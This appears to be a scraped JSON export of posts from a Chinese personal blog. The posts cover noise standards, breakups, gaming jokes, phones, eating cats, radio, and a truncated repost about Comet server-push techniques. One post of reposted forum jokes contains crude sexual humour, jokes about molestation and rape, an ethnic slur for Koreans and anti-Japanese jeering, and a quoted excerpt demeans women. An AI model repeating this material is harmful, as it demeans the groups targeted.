监测方法按GB12349执行。\n","permalink":"https://hessian.cn/p/398.html","summary":"噪音的标准值 1.1　标准值\n类　别 昼　间 夜　间 Ⅰ 55 45 Ⅱ 60 50 Ⅲ 65 55 Ⅳ 70 55 1.2　各类标准适用范围的划定\n1.2.1　Ⅰ类标准适用于以居住、文教机关为主的区域。\n1.2.2　Ⅱ类标准适用于居住、商业、工业混杂区及商业中心区\n1.2.3　Ⅲ类标准适用于工业区。\n1.2.4　Ⅳ类标准适用于交通干线道路两侧区域。\n1.2.5　各类标准适用范围由地方人民政府划定。\n1.3　夜间频繁突发的噪音(如排气噪声)。其峰值不准超过标准值10dB(A)，夜间偶然突发的噪音(如短促鸣笛声)，其峰值不准超过标准值15dB(A)。\n1.4　本标准昼间、夜间的时间由当地人民政府按当地习惯和季节变化划定。\n1.2　引用标准GB12349工业企业厂界噪音测量方法\n1.3　监测方法按GB12349执行。\n","title":"噪音标准"},{"content":"还是无法忘记你，经过那么多事，过了那么长时间，才发现，不论怎样心里你的影子都抹不掉，虽然本也没打算忘掉。。。\n为什么想的不是别人？。。。\n为什么每次都会想起你。。。\n心。。。好堵。。。\n为什么你也割舍不了？\n都知道没有结果。。。。。。。。。\n哎。。。\n好想再对你说我爱你。。。。。。。。\n今晚。。。好想找人打一顿。。。。。。。。\n","permalink":"https://hessian.cn/p/406.html","summary":"还是无法忘记你，经过那么多事，过了那么长时间，才发现，不论怎样心里你的影子都抹不掉，虽然本也没打算忘掉。。。\n为什么想的不是别人？。。。\n为什么每次都会想起你。。。\n","title":"原来从不曾忘记"},{"content":"愿掉线的情况与你同在！ 掉线，是不会迟疑的！ 我是掉线流大师，风振！ 那边的小伙，挺能掉的嘛！ 用耳去听，用心去掉; 掉线的力量实在太伟大了 ！~ 难道不掉线也是一种罪吗？ 罗杰大人好象也掉线了。 掉线就是要狠~ 我是西海岸最爱掉线的罗莉安~ 掉线就如同黑暗里的阴影，即使掉的少，也会让你疯掉~！ 我是天国来的掉线王 凯利`你要从掉线的姿势开始学起~ 今天~好想一掉方休袄~ 尼尔巴斯哥哥，你究竟掉在哪儿了？ 女人们去看好火种,别叫它们掉线了 被我的掉线迷住了？ 感受掉线的神奇吧。 来来来，选一个服务器看看吧，绝对没有一个不会掉线的。是人就会掉哦`偶尔有个不掉的那也是不可能的。 我不会把掉线的技能传授给弱智的人！ 来来，以钱买掉线啦。 嘿\u0026#8230;哈\u0026#8230;额\u0026#8230;呀\u0026#8230;哦\u0026#8230;（掉线砸电脑ing..） 勇士，你要掉哪？ 瞧一瞧，看一看啦，TX掉线没人比啊~！ 快掉线吧~（快过来吧~） 我家掉线是最猛的~！ 我叫塞丽亚。你来啦？需要掉线吗？要记得我噢~再见啦！（刚说完，掉线。） 掉线的根本，就是与自然合一！ 啊！天气不错。阿拉德大陆的早晨真能掉线啊~ 除了没上线的，其它的都要掉哦~ 与掉线相关的一切都在TX这！ 嘘，掉线干什么！ 记住我们是掉线的. 我们不会不掉线的\n","permalink":"https://hessian.cn/p/325.html","summary":"愿掉线的情况与你同在！ 掉线，是不会迟疑的！ 我是掉线流大师，风振！ 那边的小伙，挺能掉的嘛！ 用耳去听，用心去掉; 掉线的力量实在太伟大了 ！~ 难道不掉线也是一种罪吗？ 罗杰大人好象也掉线了。 掉线就是要狠~ 我是西海岸最爱掉线的罗莉安~ 掉线就如同黑暗里的阴影，即使掉的少，也会让你疯掉~！ 我是天国来的掉线王 凯利`你要从掉线的姿势开始学起~ 今天~好想一掉方休袄~ 尼尔巴斯哥哥，你究竟掉在哪儿了？ 女人们去看好火种,别叫它们掉线了 被我的掉线迷住了？ 感受掉线的神奇吧。 来来来，选一个服务器看看吧，绝对没有一个不会掉线的。是人就会掉哦`偶尔有个不掉的那也是不可能的。 我不会把掉线的技能传授给弱智的人！ 来来，以钱买掉线啦。 嘿\u0026#8230;哈\u0026#8230;额\u0026#8230;呀\u0026#8230;哦\u0026#8230;（掉线砸电脑ing..） 勇士，你要掉哪？ 瞧一瞧，看一看啦，TX掉线没人比啊~！ 快掉线吧~（快过来吧~） 我家掉线是最猛的~！ 我叫塞丽亚。你来啦？需要掉线吗？要记得我噢~再见啦！（刚说完，掉线。） 掉线的根本，就是与自然合一！ 啊！天气不错。阿拉德大陆的早晨真能掉线啊~ 除了没上线的，其它的都要掉哦~ 与掉线相关的一切都在TX这！ 嘘，掉线干什么！ 记住我们是掉线的. 我们不会不掉线的\n","title":"[DNF]掉线是不会迟疑的"},{"content":"物以稀为贵，当一样东西的供给远远少于需求时，这件东西的价值和价格之间会产生严重的偏离！比如美女，或者应该说美女的交配权，当美女很稀少，而想和美女交配的男淫又很多的时候，他们的价值和价格就会发生严重的偏离，普通女人的价值体现在传宗接代、相夫教子，而很多美女往往还不如普通女人，但是她们仗着美女资源的稀缺性却要房、要车、要钻戒、要存款，甚至会引发斗殴、乱伦、战争乃至倾城灭国，这样的女人当然不可能相夫教子，甚至会给男人引来祸事、给孩子当成反面教材，红颜祸水或者红颜薄命都是由此引发开来！\n有意思······\n","permalink":"https://hessian.cn/p/388.html","summary":"物以稀为贵，当一样东西的供给远远少于需求时，这件东西的价值和价格之间会产生严重的偏离！比如美女，或者应该说美女的交配权，当美女很稀少，而想和美女交配的男淫又很多的时候，他们的价值和价格就会发生严重的偏离，普通女人的价值体现在传宗接代、相夫教子，而很多美女往往还不如普通女人，但是她们仗着美女资源的稀缺性却要房、要车、要钻戒、要存款，甚至会引发斗殴、乱伦、战争乃至倾城灭国，这样的女人当然不可能相夫教子，甚至会给男人引来祸事、给孩子当成反面教材，红颜祸水或者红颜薄命都是由此引发开来！\n","title":"摘： 《不完全变态》 第二一0节 新技能"},{"content":"src:http://club.chinaren.com/0/144102007\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1. 楼主：大家见过公鸡下蛋吗？ \u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：没有，不过我见过CCTV说真话。 \u0026nbsp;\u0026nbsp;\u0026nbsp; 楼主：哎呀，你太牛了，我好崇拜你！ 2.楼主：其实牛顿只是幸运地发现了三大定律，要是我早生200年，我也可以！ 回复：牛顿的确是幸运儿，因为砸到他脑袋上的是苹果，而砸到楼主脑袋上的不是榴莲就是椰子…… 3.楼主（男）：小时候被叔叔猥亵过屁屁，留下心理阴影，现在长大的我该怎么办？ 回复：犯我菊花者，虽远必诛！ 4.楼主：我和女朋友的照片，CR朋友轻砸～\u0026nbsp;\u0026nbsp;\n回复：植物的性器官插在长角偶蹄类动物的排泄物上…… 5.楼主：假如我有一亿人民币，我就可以贷款在一品汤臣买房子了！ 回复：嗯，不过你还要借钱先交物业费。 6.楼主：我新买了一处庄园，有多大说出来吓死你，我开车绕了一圈足足用了两个小时！！！ 沙发：嗯，以前我也有这么一辆破车～ 7.楼主：深圳南头一卖菠萝的女摊贩情急之下咬下城管JJ！ 沙发：你不让我生活，我就不让你享受生活！！！ 8.楼主：天天对着单位那群**讲话让我感到前途很绝望…… 沙发：真正可怕的不是对牛弹琴，而是一群牛对着你弹琴… 9.楼主：你们女人大夏天的戴胸罩不热吗？ \u0026nbsp;\u0026nbsp; 回复：我们不带你们会热…… 10.楼主：和女友ML时，女友似乎喊了另一个男人的名字…… 沙发：你日了别人的女人你还有什么不满足的！ 11.楼主：为什么访问日本，日本方面比较冷淡，怎么机场连欢迎标语都没挂？ 回复：怎么挂？热烈欢迎中国老朋友来日？ 12.楼主：警察正巡逻，楼上**被打搅，气得他们把TT扔到警察身上，结果警察上楼把两人抓走。 沙发：把液体扔了下去，没过多久，固体就上来敲门了！ 13.内容过于**,不得不删除!\n14.楼主：脸和身上忽然长出好多雀斑，怎么回事？ 天回复：哎呀妈呀，楼主一脸的美人痣，一身的守宫砂…… 15.楼主：怀疑老婆红杏出墙，但苦于没证据…… 回复：假如你没本事做陈冠希，那就做谢霆峰吧～ 16.CR楼主：新闻说某人被蟒蛇吞了，请问在野外真的碰到蟒蛇怎么办？ 回复1：掐七寸，捅肛门，两个很有效的方法，希望大家广为传播。 回复2：捅蛇的肛门还是自己的肛门？ …… 回复47：屁话，荒郊野外的拿什么捅！ 回复48：许仙知道拿什么捅！ 17.楼主：小时候妈妈告诉我一个道理：假如你和某个人吵架，不一定是你的错；假如你跟很多人吵架，那一定是你的原因。 回复：强盗逻辑！那你X被很多人轮*肯定是你X很******的缘故？？ \u0026nbsp;\u0026nbsp; 18.楼主：单位人都说我长得像韩国人，大家说像吗?(上照片) 沙发：因为你长得像个棒子，单位同事又不好意思明说，所以只好说你像韩国人！ 19.楼主：传言说日本闻名**影后武藤兰去世，大家818是不是真的？ 回复：一个创下500部高产神话的至尊女优生死，却得不到来自日本方面的任何解释和澄清，我们完全有理由怀疑日本**界是否真正重视中国影迷的感情？ 20.楼主：为什么警察抓坏人时都要鸣警笛？难道不怕坏人老大远就听到跑了吗？ 回复：上级单位来检查之前一般都会先发通知给下级单位…… 21.楼主：为什么广西金嗓子总请足球明星为其代言？ 回复：外国球星温馨提醒大家\u0026mdash;\u0026mdash;骂中国男足时请用金嗓子喉宝！ 22.楼主：帅有个P用\u0026mdash;\u0026mdash;到头来还不是被卒吃掉！ 回复：帅怎么不好？帅有士陪，有炮打，有马骑，有车坐，有相暗恋！这些你有吗？ 23.楼主：为什么震前地.震.局没.有任何察觉，而震后却频频说震前有各种异常现象预兆有大地震？ 回复：事后诸葛亮，事前猪一样！ 24.楼主：大家都知道从六教东侧往北的路是个下坡，刚才我骑车来六教时忽然看到一可爱的mm骑单车直冲而下，一路高呼\u0026ldquo;太爽了！\u0026rdquo;引得不少行人侧目，现在回想起来，mm甜美的声音真是让人回味无穷啊～她喊爽的原因似乎有以下理由： 1.刚考完试，心情不错； 2.做完了一天的功课，我们来尽情欢乐！ 3.由于是下坡，所以冲起来清风迎面扑来，感觉很爽； 4.mm刚好看见我这个帅哥，一时激动得无法表白，只好大呼其爽； 5.大家补充：） 沙发：明天我就把这丫头的车座装回去！ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 25.楼主：利用东西方信息不对称，很多国外地摊货到中国都变成了奢侈品，那中国有啥垃圾牌子在国外冒充高档货？ 沙发：章子怡。 26.楼主：征集骂.人最.狠且不露.脏.字的一句话。 回复31：你.妈生你的时候是不是把人扔了，把胎盘养大了？ 回复32：我电脑里有你.妈400多张照片！ 27.楼主：从来都觉得蝎子精是整部《西游记》里最美的女人，当蝎子精把唐僧逼到床上撩.拨.时，我心下不住地为唐僧鼓劲：从了，从了，咱就从了吧！但要害时刻，可恶的悟空出现了…… 回复12：唉，要是换好色的八戒出现就好了。 回复13：嗯，八戒出现了，这次改蝎子精不从了…… 28.楼主：老爸送我老公一根鹿鞭，大家说这是啥意思啊，还有照片的说！ 回复：这是老一辈对青年一代的鞭策啊~~~ 29.楼主：大家都来讲一个开头恐怖，中间好笑，结局悲惨的故事。譬如从前有个鬼，放了个屁，然后死了。 回复：碰到芙蓉姐姐，爱上芙蓉姐姐，娶了芙蓉姐姐…… 30.楼主：《神雕侠侣》里小龙女胳膊上的守宫砂是什么东西，干什么用的？ 回复：守宫砂是处.女.的桌面快捷方式。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 31.楼主：是中国人就抵制《古惑仔》之类的烂片，因为这种烂片很轻易就把小孩教坏！ 沙发：像LZ这样的看《鼹鼠的故事》都会去学盗墓…… 32.楼主：哈哈（昵称）叫猪的进来报道。 沙发：哈哈叫牛的进来报道。 板凳：哈哈叫.鸡.的进来报道~ 地板：哈哈叫.床.的进来报道！ 33.楼主：我在村头发现个大坟，刨了一个月，刨出个不知道值钱不值钱的碑，看不懂上面的字，请天边牛人帮忙翻译下啊～ 回复：盗墓者请自重，本人是穷死的…… 34.内容过于**,已经删除~\n35.楼主：去年到黑龙江谈生意，晚上找了个俄罗斯小姐，老子狂.干.她两小时，你猜射.完后她对我说什么？ 沙发：中国爷们真强？ 板凳：Are－you－ready? 36.楼主：萨达姆英勇就义前仍振臂高呼，虽听不懂他在说什么，但还是由衷地敬佩这位领袖。 回复：萨达姆高呼：\u0026ldquo;中国哪个狗.日.的说\u0026lsquo;让领 导先走\u0026rsquo;的！！！\u0026rdquo; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 37.楼主：问个欠扁的问题，为什么跳水运动员在入水时裤衩不会被冲掉？ 沙发：跳水运动员平时主要练习两大方面：1.压水花；2.夹裤衩。 38.楼主：据香港翡翠台报道，阿娇今晨在其母的陪同下去圣约翰女子医院做过检查，医院的诊断报告证实其处.女.膜.未见器质性损伤，而该医院一直有良好的信用记录。大家可以浏览翡翠台的网站\u0026mdash;\u0026mdash;我永远的阿娇。 沙发：妈.的，你是在嘲笑陈冠希J.J.小吗？！！ 39.楼主：大家不觉得网易做的新闻投票的选项简直太不靠谱了吗？ 沙发：嗯，我孩子最近就不爱学习，我就恐吓他，\u0026ldquo;你若再不好好学习，长大了就只能到网易当个编辑！\u0026rdquo;这句话虽然对六岁的孩子来说有点残酷，但果然好用，今天他一直在学习…… 40.楼主：前天去星级酒店，我猛拍桌子大喊一声\u0026mdash;\u0026mdash;\u0026ldquo;老子是混CR的！\u0026rdquo;简直太威风了！ 沙发：昨天找小姐，完事后小姐说五百，我说不是事先说好二百一炮吗。小姐不依道：\u0026rdquo;KAO，老娘是混猫扑的！\u0026rdquo;我一听怒了，猛拍枕头喝道：\u0026ldquo;Cao，老子是灌CR的！\u0026rdquo; 板凳：同事被派到伊拉克出差，今天不幸被************劫为人.质，************在索.要.赎.金未果后就要撕.票。在这紧要关 头，同事急中生智地说了一句：\u0026ldquo;I am chinaren.\u0026rdquo;听完这句话，************就马上放了我同事。(本段话涉及到了某些话题,被系 统屏蔽!) 41.楼主：美国一位名叫乔治\u0026amp;赫伯特的推销员成功地把一把斧头推销给小布什总统，因此他获得2005年布鲁金斯学会（世界上最权威、最有影响力的推销员组织）的\u0026ldquo;金靴\u0026rdquo;奖。假如给你一次机会向总统推销东西，你会选择什么？ 沙发：我要把俺娘推荐给他！！！ 42.楼主：反.腐.真的就这么难吗？ 回复：你割割自己的J.J看难不难！ 43.楼主：美军在伊拉克不能抽身说明美国是个负责任的国家。\n沙发：我股票被套牢说明我是个负责任的中国股民…… \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 44.楼主：我得了健忘症怎么办啊？ 回复：那岂不是很爽？天天早晨醒来发现睡在自己身旁的都是不同的女人～ 45.楼主：你小时候曾幻想过什么样的场景让你出尽了风头？ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 回复：挑一担粪上街，看谁不顺眼就迎面给他泼一瓢！ 46.楼主：CR里混股市的达人们啊，请告诉我北京奥运会开幕前一天满仓能否把钱赚暴了？ 沙发：不能！因为8月是以往中国股市最最危险的月份之一，其他最最危险的月份分别是3月、7月、1月、9月、10月、11月、5月、6月、12月、4月和2月。 47.楼主：刚才摔一跤，J.J插进水泥地里拔不出来了，大家说我该怎么办啊？　\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 回复：老婆，快来看那，野生的J.J还能长出个人儿来！ 48.楼主：GF让把空填上：香港（梁朝伟）最迷人，大陆（ ）最迷人。各位帮帮忙！ 回复：香港（梁朝伟）最迷人，大陆（。）（。）最迷人. 49.楼主：想问问各位姐妹，BF和前女友一起买的东西，比如对戒，项链，手环一类的，是留着还是扔掉？扔了实在是……挺贵的东西，不仍看着就闹心！ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：庸人自扰！她的前男友你不也在用吗？ 50.楼主：说劲舞团垃圾的天边垃圾们，难道像卡丁车之类的就是好游戏吗？？？　\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：我只知道玩劲舞团会有一.夜.情，没听说谁开卡丁车搞出一.夜.情的！ 51.楼主：我诅咒你们这些在CR装.B的死于各种车祸！！！ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：自从看了楼主这句话以后，害得每次我上公交车前都要先向车里问一声：\u0026ldquo;车上有装.B的没？\u0026rdquo; 52.楼主：MM发来\u0026ldquo;想、恨、忍、真、我、爱、情、你、没、世、今、一、在、活、生、为、乐、有、好、快、过、不\u0026rdquo;，让我用这22个字组成一句完整的话，请各位大哥帮帮忙！ 沙发（标准答案）：在今生没有快乐过，真不想为情忍恨活一世，我好爱你！ 板凳：上联：忍恨活一生，你我不在；下联：为情过今世，快乐没有。横批：好想真爱！ 53.楼主：你最讨厌最鄙视的国家是哪个？ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：日本，妈的！ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 楼主：你说话就不能不带脏字吗？ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：好。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 楼主：请重新回答，你最讨厌最鄙视的国家是哪个？ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：妈的！\n都已经告诉你很黄很暴力了\u0026#8230;你还进来!? 那么既然乐了,就一定要回一个哦~\n","permalink":"https://hessian.cn/p/419.html","summary":"src:http://club.chinaren.com/0/144102007\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1. 楼主：大家见过公鸡下蛋吗？ \u0026nbsp;\u0026nbsp;\u0026nbsp; 沙发：没有，不过我见过CCTV说真话。 \u0026nbsp;\u0026nbsp;\u0026nbsp; 楼主：哎呀，你太牛了，我好崇拜你！ 2.楼主：其实牛顿只是幸运地发现了三大定律，要是我早生200年，我也可以！ 回复：牛顿的确是幸运儿，因为砸到他脑袋上的是苹果，而砸到楼主脑袋上的不是榴莲就是椰子…… ","title":"无意逛到CR,结果又看到老精帖····笑翻···"},{"content":"没有中文输入法。。。输入中文很是费劲，而且我的神州行的卡无法用GPRS上网。。。很郁闷。。。很多功能发现都没有开发完整，1.0目前也就不要求那么多了。。。\n不过机器的使用感觉还是不错的，潜力机型\n","permalink":"https://hessian.cn/p/545.html","summary":"没有中文输入法。。。输入中文很是费劲，而且我的神州行的卡无法用GPRS上网。。。很郁闷。。。很多功能发现都没有开发完整，1.0目前也就不要求那么多了。。。\n","title":"GPHONE到手了···"},{"content":"name.unavailable.sec@gmail.com\nN多名字被占用····无语了···干脆来个狠的···\n","permalink":"https://hessian.cn/p/619.html","summary":"name.unavailable.sec@gmail.com\nN多名字被占用····无语了···干脆来个狠的···\n","title":"我的囧GMail"},{"content":"转自：http://home.dahangzhou.com/yilianna/b170787.html\n作者：Oo静静oO 网络中的男人:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在网络上我在你眼里是美丽的，那是因为距离而美丽。我不必为你端茶倒水， 不必为你生儿育女，更不用为你孝敬父母，我只是轻轻的敲打键盘，惬意的送着自己的安慰，传达自己的思想不为世俗所累。自然是比你枕边的人多了一份优雅与从 容。在网络中的我在你的眼里是个性率真，因为在这里我不必为自己背负太多的负累。我不必欲述害羞，遮遮掩掩，我可以随心所欲，想说就说。在这里我可以做回 真实的自己，爱就爱，恨就恨，挥洒自如。不怕世俗冷嘲热讽，目空一切。而家里的枕边人因为要与你相守终生，她会看你的脸色，揣摩你的心意，因为太在意你的 感受而迷失了自我。在网络中的我是朵解语的花，那是因为我曾经看过太多的书。那也是因为我善于思考的结果。用我的积累和我的心可以理解我愿意理解的好多 人，而不是一个人。\n\u0026nbsp;\u0026nbsp; 爱就是天长地久， 一泻千里，现在的男人又有几个人肯背负这样的累，我的爱只给我自己爱上的男人，因为现实太虚伪，所以我要找真实，因为虚伪太悲哀，所以我要做自己，因为现 实太危险，所以我来到网络。回到现实，我也许是一个素面朝天的平凡女人，我们只是万丈红尘中的卑微而渺小的人，所以，请不要随便爱上网上的我。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n嗯。。。。没错。。。。好像就是那样。。\n","permalink":"https://hessian.cn/p/534.html","summary":"转自：http://home.dahangzhou.com/yilianna/b170787.html\n作者：Oo静静oO 网络中的男人:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在网络上我在你眼里是美丽的，那是因为距离而美丽。我不必为你端茶倒水， 不必为你生儿育女，更不用为你孝敬父母，我只是轻轻的敲打键盘，惬意的送着自己的安慰，传达自己的思想不为世俗所累。自然是比你枕边的人多了一份优雅与从 容。在网络中的我在你的眼里是个性率真，因为在这里我不必为自己背负太多的负累。我不必欲述害羞，遮遮掩掩，我可以随心所欲，想说就说。在这里我可以做回 真实的自己，爱就爱，恨就恨，挥洒自如。不怕世俗冷嘲热讽，目空一切。而家里的枕边人因为要与你相守终生，她会看你的脸色，揣摩你的心意，因为太在意你的 感受而迷失了自我。在网络中的我是朵解语的花，那是因为我曾经看过太多的书。那也是因为我善于思考的结果。用我的积累和我的心可以理解我愿意理解的好多 人，而不是一个人。\n\u0026nbsp;\u0026nbsp; 爱就是天长地久， 一泻千里，现在的男人又有几个人肯背负这样的累，我的爱只给我自己爱上的男人，因为现实太虚伪，所以我要找真实，因为虚伪太悲哀，所以我要做自己，因为现 实太危险，所以我来到网络。回到现实，我也许是一个素面朝天的平凡女人，我们只是万丈红尘中的卑微而渺小的人，所以，请不要随便爱上网上的我。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n嗯。。。。没错。。。。好像就是那样。。\n","title":"[转]网路中的男人,请不要随便说爱我,OK"},{"content":"昨天BOSS开会说了，谁第一个开发出在G1上\u0026ldquo;有用\u0026rdquo;的软件，第一个给谁配G1。\n最近工作态度很消极，越来越闷了，虽然已经想好要跳槽了，但是在这之前，还是重新整理一下自己的态度，情绪吧!\nG1，我来了！\n","permalink":"https://hessian.cn/p/465.html","summary":"昨天BOSS开会说了，谁第一个开发出在G1上\u0026ldquo;有用\u0026rdquo;的软件，第一个给谁配G1。\n最近工作态度很消极，越来越闷了，虽然已经想好要跳槽了，但是在这之前，还是重新整理一下自己的态度，情绪吧!\n","title":"我要拿到G1！！！"},{"content":"买票好难。。。。。。。。。。\n有个家伙连站票都要卖800.。。。我彻底无语啊。。。\n","permalink":"https://hessian.cn/p/457.html","summary":"买票好难。。。。。。。。。。\n有个家伙连站票都要卖800.。。。我彻底无语啊。。。\n","title":"买不到票，不知道能不能回家了"},{"content":" 貌似我的机器跟网上看到的其他T版都不太一样呢 ","permalink":"https://hessian.cn/p/546.html","summary":" 貌似我的机器跟网上看到的其他T版都不太一样呢 ","title":"新手机 Dopod C750 T-Mobile Shadow 上图！"},{"content":"5千活猫装箱贩往广州做菜 手续齐全无法扣(图)\n大清早的就在MSN上看到这新闻，我就奇怪了，5000死猫还是活猫运去哪有我啥事呢？\n现在的人都同情心泛滥了怎的？成天吃猪肉也没人为猪哼哼过啥，还N多人自称为猪叻。\n今天不让吃这个，明天不让吃这个，我看啊，再过个几十年我们人类估计都要让这帮子人给弄成素食生物了，说不定连蔬菜也不让吃了，那也是有生命的呀，什么花花草草的多可爱啊，吃了多残忍啊。。干脆咱天天大葡萄糖过日子吧。。。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;QUOTE\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;QUOTE\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n可爱小猫能不能吃\n在众多声音中，反对者占了绝大部分，他们呼吁国家出台规定，禁止将猫作为食物。而且，有网友认为，吃猫不但是残忍的，也是不卫生的，因为这些猫中可能有许多流浪猫，可能带着传染病。\n也有网友对吃猫持不同意见。称\u0026ldquo;吃猫残忍，吃猪、牛、羊、狗、鸡、鸭、鱼等就不残忍么?为什么猫有怜悯的特权?吃肉的人都没有权利批评食猫的人。\u0026rdquo;\n还有网友发帖称，吃猫并没有违反国家法律，不应该对别人进行指责，而且猪可以批量养殖，猫也可以。 (本文来源：重庆晚报 )\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;QUOTE\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;QUOTE\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n","permalink":"https://hessian.cn/p/360.html","summary":"5千活猫装箱贩往广州做菜 手续齐全无法扣(图)\n大清早的就在MSN上看到这新闻，我就奇怪了，5000死猫还是活猫运去哪有我啥事呢？\n现在的人都同情心泛滥了怎的？成天吃猪肉也没人为猪哼哼过啥，还N多人自称为猪叻。\n","title":"脑残了都？啥也不让吃，啥也不让干了？猫怎么了？"},{"content":"最近闲来无事听听电台，居然给发现一个不错的音乐电台，中国人民国际广播电台 Hit FM(88.7Mhz)，特别喜欢早上的 Hit Morning Show。。。老有好多好曲出现。。。真好。。\n有谁知道 12月19日 Lady Gaga 的 Just Dance 之后放的是哪首歌么？ 那谁刚满16岁的小女孩唱的\n","permalink":"https://hessian.cn/p/424.html","summary":"最近闲来无事听听电台，居然给发现一个不错的音乐电台，中国人民国际广播电台 Hit FM(88.7Mhz)，特别喜欢早上的 Hit Morning Show。。。老有好多好曲出现。。。真好。。\n","title":"Hit FM, Hit Morning Show… 感觉不错…"},{"content":"src:http://www.ibm.com/developerworks/cn/web/wa-lo-comet/\n周 婷 (zhouting@cn.ibm.com), 软件工程师, IBM 中国软件开发技术实验室\n2007 年 8 月 31 日\n很 多应用譬如监控、即时通信、即时报价系统都需要将后台发生的变化实时传送到客户端而无须客户端不停地刷新、发送请求。本文首先介绍、比较了常用的\u0026ldquo;服务器 推\u0026rdquo;方案，着重介绍了 Comet － 使用 HTTP 长连接、无须浏览器安装插件的两种\u0026ldquo;服务器推\u0026rdquo;方案：基于 AJAX 的长轮询方式；基于 iframe 及 htmlfile 的流方式。最后分析了开发 Comet 应用需要注意的一些问题，以及如何借助开源的 Comet 框架－pushlet 构建自己的\u0026ldquo;服务器推\u0026rdquo;应用。\n\u0026ldquo;服务器推\u0026rdquo;技术的应用\n传统模式的 Web 系统以客户端发出请求、服务器端响应的方式工作。这种方式并不能满足很多现实应用的需求，譬如：\n监控系统：后台硬件热插拔、LED、温度、电压发生变化； 即时通信系统：其它用户登录、发送信息； 即时报价系统：后台数据库内容发生变化； 这 些应用都需要服务器能实时地将更新的信息传送到客户端，而无须客户端发出请求。\u0026ldquo;服务器推\u0026rdquo;技术在现实应用中有一些解决方案，本文将这些解决方案分为两 类：一类需要在浏览器端安装插件，基于套接口传送信息，或是使用 RMI、CORBA 进行远程调用；而另一类则无须浏览器安装任何插件、基于 HTTP 长连接。\n将\u0026ldquo;服务器推\u0026rdquo;应用在 Web 程序中，首先考虑的是如何在功能有限的浏览器端接收、处理信息：\n客户端如何接收、处理信息，是否需要使用套接口或是使用远程调用。客户端呈现给用户的是 HTML 页面还是 Java applet 或 Flash 窗口。如果使用套接口和远程调用，怎么和 JavaScript 结合修改 HTML 的显示。 客户与服务器端通信的信息格式，采取怎样的出错处理机制。 客户端是否需要支持不同类型的浏览器如 IE、Firefox，是否需要同时支持 Windows 和 Linux 平台。 基于客户端套接口的\u0026ldquo;服务器推\u0026rdquo;技术\nFlash XMLSocket\n如果 Web 应用的用户接受应用只有在安装了 Flash 播放器才能正常运行， 那么使用 Flash 的 XMLSocket 也是一个可行的方案。\n这种方案实现的基础是：\nFlash 提供了 XMLSocket 类。 JavaScript 和 Flash 的紧密结合：在 JavaScript 可以直接调用 Flash 程序提供的接口。 具 体实现方法：在 HTML 页面中内嵌入一个使用了 XMLSocket 类的 Flash 程序。JavaScript 通过调用此 Flash 程序提供的套接口接口与服务器端的套接口进行通信。JavaScript 在收到服务器端以 XML 格式传送的信息后可以很容易地控制 HTML 页面的内容显示。\n关于如何去构建充当了 JavaScript 与 Flash XMLSocket 桥梁的 Flash 程序，以及如何在 JavaScript 里调用 Flash 提供的接口，我们可以参考 AFLAX（Asynchronous Flash and XML）项目提供的 Socket Demo 以及 SocketJS（请参见 参考资源）。\nJavascript 与 Flash 的紧密结合，极大增强了客户端的处理能力。从 Flash 播放器 V7.0.19 开始，已经取消了 XMLSocket 的端口必须大于 1023 